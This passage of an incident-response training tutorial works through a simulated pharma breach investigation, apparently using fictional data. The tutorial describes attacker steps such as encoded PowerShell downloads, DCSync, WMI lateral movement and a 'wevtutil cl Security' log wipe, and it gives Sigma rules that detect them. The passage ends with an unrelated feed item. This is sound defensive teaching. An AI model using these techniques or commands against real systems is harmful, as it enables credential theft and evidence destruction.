CONFIRMED<br><strong>ATT&amp;CK:</strong> T1566.001<br><strong>Notes:</strong> <strong>Second entry point — 24 days after the first.</strong></li><li><strong>2024–11–15 18:42 — WS-CFO-01<br></strong>Outlook spawned PowerShell with -NonI -W Hidden -Enc, downloading a second-stage payload from 203.0.113.87.<br><strong>Source:</strong> CrowdStrike + Sysmon EID 1<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1059.001<br><strong>Notes:</strong> <strong>Triggering alert.</strong></li><li><strong>2024–11–15 18:46–20:52 — WS-CFO-01<br></strong>LSASS memory access observed via Sysmon EID 10 with GrantedAccess 0x1010. Persistence added via Registry Run Key and scheduled task. BITS downloaded a second-stage binary.<br><strong>Source:</strong> Sysmon EID 10/11/13, EID 4698<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1003.001, T1547.001, T1053.005, T1197<br><strong>Notes:</strong> svchost32.exe dropped to AppData\\Roaming.</li><li><strong>2024–11–15 20:52 — SERVER-FIN-01<br></strong>WMI lateral movement observed: WmiPrvSE spawned PowerShell with -Enc and a different base64 payload.<br><strong>Source:</strong> CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1021.003, T1059.001<br><strong>Notes:</strong> svc_finreport credentials used.</li><li><strong>2024–11–15 21:01 — SERVER-FIN-01<br></strong>Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\.<br><strong>Source:</strong> CrowdStrike EID 11<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1039, T1560<br><strong>Notes:</strong> 2.8 MB upload confirmed in firewall logs at 21:14.</li><li><strong>2024–11–15 21:14 — WS-CFO-01<br></strong>wevtutil.exe cl Security executed, partially clearing the Windows Security log.<br><strong>Source:</strong> CrowdStrike<br><strong>Label:</strong> CONFIRMED<br><strong>ATT&amp;CK:</strong> T1070.001<br><strong>Notes:</strong> Sysmon log remained intact because it was protected.</li></ol><p><strong>The evidence label system matters here.</strong> Event 12 (DCSync) is CONFIRMED — it exists in DC01’s Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as “possible pentest activity.” Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.</p><h4>3. Save and commit</h4><pre>git add 03-analysis/timeline/timeline.md<br>git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"</pre><h3>Step R3: Claims Ledger — Every Assertion Traced to Evidence</h3><h4>1. Open the claims ledger</h4><pre>nano 03-analysis/claims/claims-ledger.md</pre><p>The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.</p><p><strong>For each row, answer these five questions before typing a word:</strong></p><ol><li>What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)</li><li>Which file and line number is the evidence in? (Not “we saw in Splunk” — the actual log reference)</li><li>What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)</li><li>What alternative explanations were considered — and why were they ruled out or left open?</li><li>Which PIR does this answer?</li></ol><p>If you cannot answer question 4, the claim is not ready to write. Think first.</p><h4>2. Fill in one claim per confirmed technique or PIR answer</h4><p>The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBZhaHELHNyuzUeTbMbGvw.png"></figure><p><strong>CL-001 — Initial access via AiTM phishing against IT admin </strong><strong>p.levi</strong></p><ul><li><strong>Claim:</strong> Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024.</li><li><strong>Evidence:</strong> M365 ATP log shows AiTM HTML lure delivered at 11:23 and opened at 11:31. VPN login from Istanbul occurred at 02:17 on October 24 with no MFA challenge, indicating likely stolen session token replay.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Credential purchase or insider activity cannot be fully ruled out without WS-IT-LEVI disk forensics, which is blocked by legal hold. However, the AiTM lure plus token replay pattern is more parsimonious.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-002 — Use of </strong><strong>svc_backup Domain Admin credentials to access formula files</strong></p><ul><li><strong>Claim:</strong> The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula files.</li><li><strong>Evidence:</strong> EID 4624 on SERVER-RD-02 shows svc_backup Type 3 logon from WS-IT-LEVI. EID 4663 occurred 47 times on formula files.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate backup operation is ruled out because backup jobs run from SERVER-WSUS-01 / 10.10.4.x, not from WS-IT-LEVI. The timestamp, 02:09 UTC, is outside the maintenance window.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-003 — Exfiltration of 47 formula files on November 6, 2024</strong></p><ul><li><strong>Claim:</strong> The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024.</li><li><strong>Evidence:</strong> EID 4663 occurred 47 times, showing file access. EID 5156 shows outbound HTTPS from SERVER-RD-02 at the same time. Palo Alto NGFW flow shows 10.10.2.15 → 198.51.100.44:443, with 381 MB outbound between 02:14 and 02:19 UTC.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> File access for indexing or backup is ruled out because no backup job ran at this time. The 381 MB outbound volume matches the compressed formula package. The destination IP is not in the allowlist and resolves to a VPS hosting provider.</li><li><strong>PIR:</strong> PIR-001 — <strong>ANSWERED: YES</strong></li></ul><p><strong>CL-004 — DCSync executed via </strong><strong>svc_backup on November 6</strong></p><ul><li><strong>Claim:</strong> DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTC.</li><li><strong>Evidence:</strong> DC01 EID 4662 shows DS-Replication-Get-Changes GUID from 10.10.3.22, which is WS-IT-LEVI. The subject username was svc_backup.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Legitimate AD replication is ruled out because the event originated from a workstation IP, not a domain controller. Authorized pentest scope explicitly excluded DCSync and used only 10.10.99.x IPs.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-005 — CFO path and IT admin path are same threat actor</strong></p><ul><li><strong>Claim:</strong> Path A, involving the CFO on November 15, and Path B, involving the IT admin on October 22, are attributable to the same threat actor.</li><li><strong>Evidence:</strong> Both svchost32.exe and UpdateHelper.dll share the same fake PE compile timestamp: 2018-04-09. The secondary C2 sys-update-cdn[.]net was hard-coded in the CFO implant and also used in SERVER-RD-02 DNS activity.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> Coincidence would require two separate actors to target the same organization at the same time using a near-identical toolchain. This is extremely implausible.</li><li><strong>PIR:</strong> PIR-002</li></ul><p><strong>CL-006 — Full domain compromise via DCSync</strong></p><ul><li><strong>Claim:</strong> The adversary achieved full domain compromise via DCSync. All Active Directory credentials must be treated as compromised.</li><li><strong>Evidence:</strong> CL-004 confirms DCSync activity. svc_backup held Domain Admin rights. DCSync requests included krbtgt and privileged account hashes.</li><li><strong>Confidence:</strong> High</li><li><strong>Competing Hypotheses:</strong> DCSync may have been partial or failed, but this cannot be confirmed without full DC01 log access. Treating the environment as fully compromised is the conservative and operationally correct response until disproven.</li><li><strong>PIR:</strong> PIR-003</li></ul><p><strong>CL-003 is the pivotal claim.</strong> The US partner’s formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from “contain these three hosts” to “rotate all AD credentials, treat all 80 servers as potentially compromised.”</p><h4>3. Update project.yml PIR status</h4><p>When a PIR is answered, open project.yml and change the status field immediately:</p><pre>nano project.yml</pre><p>Change:</p><pre>- id: PIR-001<br>    status: open</pre><p>To:</p><pre>- id: PIR-001<br>    status: answered    # CL-003 — exfiltration confirmed, 381 MB, Nov 6</pre><h4>4. Commit the claims ledger</h4><pre>git add 03-analysis/claims/claims-ledger.md project.yml<br>git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"</pre><h3>Step R4: ATT&amp;CK Mapping — Where Detection Failed</h3><h4>1. Open the ATT&amp;CK mapping file</h4><pre>nano 03-analysis/attck-mapping/attck-mapping.md</pre><p>For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: <strong>Confidence</strong> (how sure are you the technique was used), <strong>Rule Fired?</strong> (yes/no/partial — check your SIEM), and <strong>Gap Type</strong> (what kind of work is needed to close this detection hole).</p><p><strong>Gap types:</strong> Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.</p><p>Also update project.yml — fill the attck_techniques list:</p><pre>nano project.yml</pre><pre>scope:<br>  attck_techniques:<br>    - T1566.001<br>    - T1557<br>    - T1133<br>    - T1078.002<br>    - T1059.001<br>    - T1003.001<br>    - T1003.006<br>    - T1021.003<br>    - T1197<br>    - T1047<br>    - T1070.001<br>    - T1547.001</pre><h4>2. Fill one row per technique</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k61svPS7k5oRag9OCWIk4w.png"></figure><p><strong>T1566.001 — Phishing attachment, CFO </strong><strong>.xlsm</strong></p><ul><li><strong>Evidence:</strong> M365 ATP log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Partial — ATP delivered; SCL=4, threshold=5</li><li><strong>Gap Type:</strong> Coverage incomplete — SCL threshold tuning</li></ul><p><strong>T1557 — AiTM credential theft, IT admin</strong></p><ul><li><strong>Evidence:</strong> VPN login pattern + AiTM HTML lure</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no AiTM session token detection</li></ul><p><strong>T1133 — VPN access with stolen credentials</strong></p><ul><li><strong>Evidence:</strong> VPN log: Istanbul, off-hours, no prior history</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — no anomalous VPN authentication alert</li></ul><p><strong>T1078.002 — Valid account abuse, </strong><strong>svc_backup</strong></p><ul><li><strong>Evidence:</strong> EID 4624, multiple events</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — service account off-hours logon undetected</li></ul><p><strong>T1059.001 — Encoded PowerShell, both hosts</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, CrowdStrike</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> Yes, CFO only, via CrowdStrike behavioral detection</li><li><strong>Gap Type:</strong> Coverage incomplete — CFO only; IT admin host fired no alert</li></ul><p><strong>T1003.001 — LSASS memory access</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 10, GrantedAccess 0x1010</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — Sysmon EID 10 not alerted on</li></ul><p><strong>T1003.006 — DCSync</strong></p><ul><li><strong>Evidence:</strong> DC01 EID 4662</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — EID 4662 audit configured but no alert rule</li></ul><p><strong>T1021.003 — WMI lateral movement to </strong><strong>SERVER-FIN-01</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike: WmiPrvSE → PowerShell</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — WmiPrvSE parent alert not deployed</li></ul><p><strong>T1197 — BITS download, second stage</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 1, bitsadmin</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — BITS external download not monitored</li></ul><p><strong>T1047 — WMI execution, lateral movement</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike log</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Data source missing — WMI logging not in SIEM</li></ul><p><strong>T1070.001 — Event log cleared</strong></p><ul><li><strong>Evidence:</strong> CrowdStrike EID 1102</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Rule missing — wevtutil alert not deployed</li></ul><p><strong>T1547.001 — Registry Run Key persistence</strong></p><ul><li><strong>Evidence:</strong> Sysmon EID 13</li><li><strong>Confidence:</strong> High</li><li><strong>Rule Fired?:</strong> <strong>No</strong></li><li><strong>Gap Type:</strong> Coverage incomplete — EID 13 ingested but no alert rule on AppData\\Roaming paths</li></ul><p><strong>The gap taxonomy tells the engineering team exactly what work is required:</strong></p><ul><li><strong>Rule missing (7 techniques):</strong> Data is in SIEM. A detection engineer can write and deploy the rule. These are sprint items.</li><li><strong>Coverage incomplete (3 techniques):</strong> Rule or data exists but is mis-tuned or partial. These require tuning, not new infrastructure.</li><li><strong>Data source missing (1 technique):</strong> WMI execution logging is not in the SIEM. This requires an infrastructure change before rules can be written.</li></ul><p>The DCSync gap (T1003.006) is particularly stark: the Advanced Audit Policy that generates EID 4662 was correctly configured on DC01, the event was forwarded to Splunk, and the event was visible in Splunk. There was no alert rule. A single Splunk search rule on source=WinEventLog:Security EventCode=4662 ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}" from a non-DC IP would have fired and contained this incident before the formula exfiltration.</p><h4>3. Commit the ATT&amp;CK mapping</h4><pre>git add 03-analysis/attck-mapping/attck-mapping.md project.yml<br>git commit -m "PROJ-2024-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 coverage-incomplete, 1 data-source-missing, 1 arch-gap"</pre><h3>Step R5: Attribution Assessment — Same Actor or Two?</h3><h4>1. Open the attribution file</h4><pre>nano 03-analysis/attribution/attribution.md</pre><p>Write attribution <strong>only after the claims ledger is complete</strong>. The attribution file has three sections: evidence for unification (or separation), confidence ladder scoring, and the exact language to use in deliverables. Fill them in that order.</p><p><strong>Do not start with a hypothesis.</strong> Start with the evidence you have from the claims ledger, then see where it points.</p><h4>2. Score the evidence against the confidence ladder</h4><p>The investigation faces a key analytical question: Path A (CFO phishing, November 15) and Path B (IT admin AiTM, October 22) — are they the same actor?</p><p><strong>Evidence for unification (same actor):</strong></p><ol><li><strong>Shared PE compile timestamp:</strong> Both dropped binaries — svchost32.exe (CFO host) and UpdateHelper.dll (IT admin host) — carry an identical fake compile timestamp of 2018-04-09. This is a known toolchain fingerprint. The probability of two unrelated actors both timestomping to the same date is extremely low.</li><li><strong>Shared secondary C2 domain in memory:</strong> Strings extracted from svchost32.exe include sys-update-cdn[.]net — the domain that appeared only in SERVER-RD-02's DNS logs during the formula exfiltration. The CFO's implant knew about infrastructure used during the Path B operation. This is only explicable if the same actor controlled both implants.</li><li><strong>Coordinated operations timeline:</strong> The CFO was targeted on the same day that the finance server data was being staged on SERVER-FIN-01 via lateral movement from the IT admin path. Two independent actors staging finance data simultaneously at the same target is implausible.</li></ol><p><strong>Assessment: Single threat actor, dual delivery mechanism.</strong></p><p>The actor compromised the IT admin first (October 22), used that access for data theft (November 6), then independently targeted the CFO to expand access to finance data. The two phishing lures used different delivery infrastructure (different sender domains, different sending IPs from the same /24 block) — consistent with an actor who maintains parallel operational tracks.</p><p><strong>Attribution confidence: Medium-High.</strong> Apply the confidence ladder from Step R5 of the methodology to score this case:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrKN1yNFJL_eINzt_iec9A.png"></figure><p><strong>Ladder tier: Medium-High</strong> — TTP overlap + infrastructure match present; independent confirmation absent. The toolset has not been definitively matched to a named cluster, which prevents elevation to High.</p><p><strong>What to write:</strong> <em>“Activity assessed as a single threat actor based on shared toolchain indicators (PE timestamp, secondary C2 domain). Tradecraft and targeting profile are consistent with Iranian-nexus industrial espionage operations targeting Israeli pharmaceutical IP. Attribution to a named cluster is not warranted without CERT-IL deconfliction or independent confirmation. Confidence: Medium-High.”</em></p><h4>3. Paste the final language into attribution.md and commit</h4><pre>git add 03-analysis/attribution/attribution.md<br>git commit -m "PROJ-2024-001: attribution — single actor, Medium-High confidence, shared PE timestamp + secondary C2, Iranian-nexus tradecraft consistent"</pre><h3>Step R6: Detection Rules — Four That Would Have Changed the Outcome</h3><h4>1. Create one file per rule</h4><p>Each rule gets its own file in 04-detections/sigma/:</p><pre>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-001-anomalous-vpn-auth.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-002-dcsync-non-dc.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-003-svc-account-offhours.yml<br>cp 04-detections/sigma/SIGMA-TEMPLATE.yml 04-detections/sigma/DET-004-wmiprvse-powershell.yml</pre><p>Open the first one:</p><pre>nano 04-detections/sigma/DET-001-anomalous-vpn-auth.yml</pre><p>Every rule must reference the CL-ID it would have detected and the gap type it closes. That is how the detection backlog stays traceable to the investigation.</p><h4>2. Fill each rule</h4><p>Each rule is written with a reference to the claim it would have detected and the evidence gap it closes.</p><p><strong>DET-001: Anomalous VPN Authentication from Non-Corporate Source</strong></p><pre>title: Anomalous VPN Authentication — New Geography or Hosting ASN<br>id: a1b2c3d4-5678-9abc-def0-1234567890ab<br>status: experimental<br>description: &gt;<br>  Detects VPN authentication success from a source IP with no prior history for<br>  this user, specifically from IPs geolocated outside Israel or from hosting/VPN<br>  ASNs. Covers T1133 and T1557 (session token replay after AiTM interception).<br>  Derived from PROJ-001 — CL-001, p.levi VPN from Istanbul at 02:17 UTC.<br>logsource:<br>  category: network<br>  product: cisco_anyconnect<br>detection:<br>  selection:<br>    event.action: vpn_auth_success<br>    user.name|exists: true<br>  filter_known:<br>    source.geo.country_iso_code: 'IL'<br>    source.as.number|not|startswith: ['AS47583', 'AS16276']   # hosting VPS ASNs<br>  condition: selection and not filter_known<br>falsepositives:<br>  - Legitimate international travel — validate against HR travel records<br>  - Remote contractors working abroad<br>level: high<br>tags:<br>  - attack.initial_access<br>  - attack.t1133<br>  - attack.credential_access<br>  - attack.t1557</pre><p><strong>DET-002: DCSync Attack Detection</strong></p><pre>title: DCSync Attack via Non-DC Account<br>id: b2c3d4e5-6789-abcd-ef01-234567890abc<br>status: production<br>description: &gt;<br>  Detects DCSync by looking for EID 4662 with the DS-Replication-Get-Changes<br>  GUID originating from a workstation IP rather than a domain controller.<br>  Derived from PROJ-001 — CL-004: svc_backup performed DCSync from WS-IT-LEVI<br>  using Domain Admin rights that were never revoked after an August 2024 <br>  emergency backup restoration.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4662<br>    ObjectType: '{19195a5b-6da0-11d0-afd3-00c04fd930c9}'   # DS-Replication-Get-Changes<br>    Properties|contains:<br>      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'             # DS-Replication-Get-Changes-All<br>      - '89e95b76-444d-4c62-991a-0facbeda640c'             # DS-Replication-Get-Changes-In-Filtered-Set<br>  filter_legitimate_dc:<br>    IpAddress|startswith:<br>      - '10.10.1.10'   # DC01 — add all DC IPs here<br>      - '10.10.1.11'   # DC02<br>  condition: selection and not filter_legitimate_dc<br>falsepositives:<br>  - Azure AD Connect sync account — must be explicitly whitelisted<br>  - Authorized red team / pentest — validate scope before dismissing<br>level: critical<br>tags:<br>  - attack.credential_access<br>  - attack.t1003.006</pre><p><strong>DET-003: Service Account Off-Hours Authentication</strong></p><pre>title: Service Account Authentication Outside Business Hours<br>id: c3d4e5f6-789a-bcde-f012-34567890abcd<br>status: experimental<br>description: &gt;<br>  Detects authentication by a service account (accounts matching svc_* naming<br>  pattern) outside business hours (22:00–06:00) to a non-designated system.<br>  Covers T1078.002 (Valid Accounts: Domain Accounts) for svc_backup lateral<br>  movement in PROJ-001.<br>logsource:<br>  category: windows<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4624<br>    LogonType: 3<br>    SubjectUserName|startswith: 'svc_'<br>  filter_business_hours:<br>    TimeCreated|windash|lt: '22:00:00'<br>    TimeCreated|windash|gt: '06:00:00'<br>  filter_known_backup_host:<br>    IpAddress: '10.10.4.15'   # SERVER-WSUS-01 — legitimate backup source<br>  condition: selection and not filter_business_hours and not filter_known_backup_host<br>falsepositives:<br>  - Scheduled tasks that legitimately run at night — review and whitelist specific pairs<br>level: medium<br>tags:<br>  - attack.lateral_movement<br>  - attack.t1078.002</pre><p><strong>DET-004: WmiPrvSE Spawning PowerShell</strong></p><pre>title: WMI Remote Execution — PowerShell Child of WmiPrvSE<br>id: d4e5f6a7-89ab-cdef-0123-4567890abcde<br>status: production<br>description: &gt;<br>  Detects WMI-based lateral movement (T1021.003) where WmiPrvSE.exe spawns<br>  PowerShell on a remote system. This is the pattern from PROJ-001 step 16:<br>  lateral movement from WS-CFO-01 to SERVER-FIN-01 via WMI using svc_finreport<br>  credentials. CrowdStrike detected the PowerShell on SERVER-FIN-01 but the<br>  originating WMI connection from the CFO host had no coverage.<br>logsource:<br>  category: process_creation<br>  product: windows<br>detection:<br>  selection:<br>    ParentImage|endswith: '\WmiPrvSE.exe'<br>    Image|endswith: '\powershell.exe'<br>  suspicious_flags:<br>    CommandLine|contains:<br>      - '-Enc'<br>      - '-EncodedCommand'<br>      - '-NonI'<br>      - '-W Hidden'<br>  condition: selection and suspicious_flags<br>falsepositives:<br>  - SCCM WMI-based software deployment with PowerShell post-install scripts<br>level: high<br>tags:<br>  - attack.lateral_movement<br>  - attack.execution<br>  - attack.t1021.003<br>  - attack.t1059.001</pre><p><strong>Validation:</strong> All four rules were validated against the PROJ-001 evidence set using Hayabusa before deployment. DET-001 fires on the October 24 Istanbul VPN login. DET-002 fires on the November 6 DCSync event. DET-003 fires on every svc_backup off-hours logon. DET-004 fires on the SERVER-FIN-01 WMI execution.</p><h4>3. Validate each rule against your evidence set</h4><pre># Run Hayabusa against the collected logs to confirm rules fire on known-bad events<br>hayabusa csv-timeline -d 01-evidence/ -r 04-detections/sigma/ -o validation-results.csv</pre><p>Review the output. A rule that does not fire on its own evidence set should not be deployed.</p><h4>4. Update project.yml deliverables count and commit</h4><pre>nano project.yml</pre><pre>deliverables:<br>  - type: sigma-rules<br>    count: 4<br>    status: complete</pre><pre>git add 04-detections/sigma/ project.yml<br>git commit -m "PROJ-2024-001: detections — DET-001 to DET-004 written and validated PASS against evidence set via Hayabusa"</pre><h3>Step R7: Deliverables — What Each Stakeholder Gets</h3><h4>1. Open the deliverable templates</h4><pre>nano 05-deliverables/executive-brief.md<br>nano 05-deliverables/soc-handoff.md</pre><p>The executive brief answers three questions only: what happened, what was confirmed stolen or compromised, and what must happen in the next 24 hours. One page. No technical jargon. Every PIR that is answered gets a one-line answer at the top.</p><p>The SOC handoff lists: current IOCs (with confidence ratings), detection rules deployed, hunting queries still open, and escalation criteria. The SOC receives this, not the executive brief.</p><blockquote>2. Fill the executive brief</blockquote><p><strong>Executive brief (1 page, TLP:AMBER) — what the CISO needs in 90 minutes:</strong></p><blockquote><em>An adversary assessed as Iranian-nexus compromised LifeTech Pharma through two separate phishing attacks over 24 days. Using stolen IT administrator credentials, they accessed and exfiltrated the 47-file US licensing formula package on November 6, 2024. They also performed a DCSync attack on the domain controller, which means all Active Directory credentials must be treated as compromised.</em></blockquote><blockquote><strong><em>PIR-001 ANSWERED:</em></strong><em> The US partner formula package was exfiltrated. 381 MB outbound confirmed in firewall logs.</em></blockquote><blockquote><strong><em>PIR-003 ANSWERED:</em></strong><em> Active compromise ongoing. The CFO alert on November 15 is a second wave from the same actor, still active at time of investigation.</em></blockquote><blockquote><strong><em>Immediate actions:</em></strong><em> Full AD credential rotation; quarantine WS-CFO-01 and SERVER-FIN-01; notify INCD (72h clock from discovery: expires November 17 02:14 IST); brief the US licensing partner.</em></blockquote><p><strong>SOC handoff (technical):</strong></p><p>Current IOCs: 203.0.113.87, 198.51.100.44, telemetry-cdn-services[.]biz, sys-update-cdn[.]net, uslifepartner-group[.]com, lifetechpharma-corp[.]eu.</p><p>Four detection rules deployed (DET-001 through DET-004). Two hunting queries: (1) pivot on C2 domains across all 838 endpoints — the 3 confirmed hosts may not be all; (2) hunt for any svc_backup authentication from non-WSUS IPs in the past 30 days.</p><h4>3. Update project.yml status to closed and commit everything</h4><pre>nano project.yml</pre><pre>project:<br>  status: closed<br>pirs:<br>  - id: PIR-001<br>    status: answered    # CL-003<br>  - id: PIR-002<br>    status: answered    # CL-001<br>  - id: PIR-003<br>    status: answered    # CL-006 - ongoing, AD rotation required</pre><pre>git add 05-deliverables/ project.yml<br>git commit -m "PROJ-2024-001: deliverables — executive brief, SOC handoff, INCD notification ready; all PIRs answered; project closed"</pre><h3>The Git History: What a Completed Investigation Looks Like</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9m5xzm1v4yUoNN47GznubQ.png"></figure><pre>b9a2f1c  PROJ-001: deliverables — executive brief, SOC handoff, INCD notification ready<br>7c8d3e4  PROJ-001: detections — DET-001 through DET-004 validated PASS via Hayabusa<br>5f2a9b1  PROJ-001: attribution — single actor assessed (shared PE timestamp + secondary C2)<br>3e4c7d8  PROJ-001: ATT&amp;CK mapping — 12 techniques, 7 rule-missing, 3 incomplete, 1 data-missing<br>1b6f2a5  PROJ-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003); PIR-003 CONFIRMED ONGOING (CL-006)<br>9a3e7c2  PROJ-001: timeline — 18 events Oct 22–Nov 15; dual-path confirmed, same actor assessed<br>6f1b4d9  PROJ-001: evidence inventory — 6 sources, GAP-001 documented, firewall log retrieval urgent<br>2c8a5e3  PROJ-001: scope — signed off 22:55 IST; PIR-001/002/003, TLP AMBER, legal hold WS-IT-LEVI<br>a1d7f4b  PROJ-001: intake — CFO PowerShell alert, legal hold WS-IT-LEVI, formula data in scope<br>0e9c2b7  PROJ-001: scaffold initialized</pre><p>Each commit is a phase. Each message states the project ID, the phase, and a one-line summary of what was concluded. When a lawyer asks six months from now “what did you know and when did you know it?” — the git log answers.</p><h3>Key Lessons</h3><p><strong>The alert was not the beginning.</strong> The SOC received its first signal 52 hours after the breach was already in progress — and 15 days after the formula files were gone. The triggering alert was the second entry point. A detection rule on anomalous VPN authentication (DET-001) would have fired on October 24 at 02:17 UTC — before any lateral movement, before any data access.</p><p><strong>Gaps are findings, not absences.</strong> The 10-day Sysmon gap on WS-IT-LEVI coincided exactly with the delivery of a phishing email. Stopping a logging service is T1562.001 — Impair Defenses. A gap is not “we don’t know what happened.” A gap that coincides with a malicious delivery is evidence of anti-forensics.</p><p><strong>DCSync changes everything.</strong> The scope of remediation is not “three infected hosts.” When DCSync is confirmed via Domain Admin rights, every credential in the AD is potentially compromised. The scope is all 80 servers. The IR Lead needs to know this before the 90-minute CISO brief, not after.</p><p><strong>Claims need competing hypotheses.</strong> CL-003 (exfiltration confirmed) is only defensible as “high confidence” because specific alternative explanations were checked and explicitly ruled out — scheduled backup (wrong source IP, wrong timing), authorized developer activity (no jobs scheduled). Without the competing hypothesis analysis, a claim is an assertion. With it, it is analysis.</p><p><em>This scenario is training assignment A01 from the </em><a href="https://github.com/anpa1200/CTI_as_a_Code"><em>CTI as a Code repository</em></a><em>. The full evidence set, template, and worked solution are available there.</em></p><h3>Follow My Work</h3><p>I publish practical cybersecurity research, CTI workflows, detection engineering notes, malware analysis projects, OpenCTI work, cloud and Kubernetes security research, AI-assisted security tooling, labs, and technical guides.</p><ul><li><strong>Portfolio / Knowledge Base:</strong> <a href="https://anpa1200.github.io/">https://anpa1200.github.io/</a></li><li><strong>Medium:</strong> <a href="https://medium.com/@1200km">https://medium.com/@1200km</a></li><li><strong>GitHub:</strong> <a href="https://github.com/anpa1200">https://github.com/anpa1200</a></li><li><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/andrey-pautov/">https://www.linkedin.com/in/andrey-pautov/</a></li></ul><p><strong>Andrey Pautov</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=3e6574b7b85f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f">CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[“앤트로픽 AI 서비스, 지나치게 비싸” MS AI 수장 비판]]></title>
<description><![CDATA[“남 탓하는 것 아닌가?”라는 반응이 나올 법하다. 마이크로소프트(MS)의 AI 부문 수장 무스타파 술레이만이 경쟁사 AI 서비스의 가격이 지나치게 비싸다고 비판한 시점이, 자사 깃허브 코파일럿의 사용량 기반 과금 체계가 개발자들에게 본격적인 비용 부담을 주기 시작한 때와 맞물렸기 때문이다.



MS AI 최고경영자(CEO)인 무스타파 술레이만은 블룸버그와의 인터뷰에서 “앤트로픽은 매우 비싸며, 많은 사람이 대안을 절실히 찾고 있다고 생각한다”라고 말했다.



현재 AI 업계에서는 서비스 비용 문제가 주요 관심사로 떠오르고...]]></description>
<link>https://tsecurity.de/de/3580316/it-nachrichten/ai-ms-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580316/it-nachrichten/ai-ms-ai/</guid>
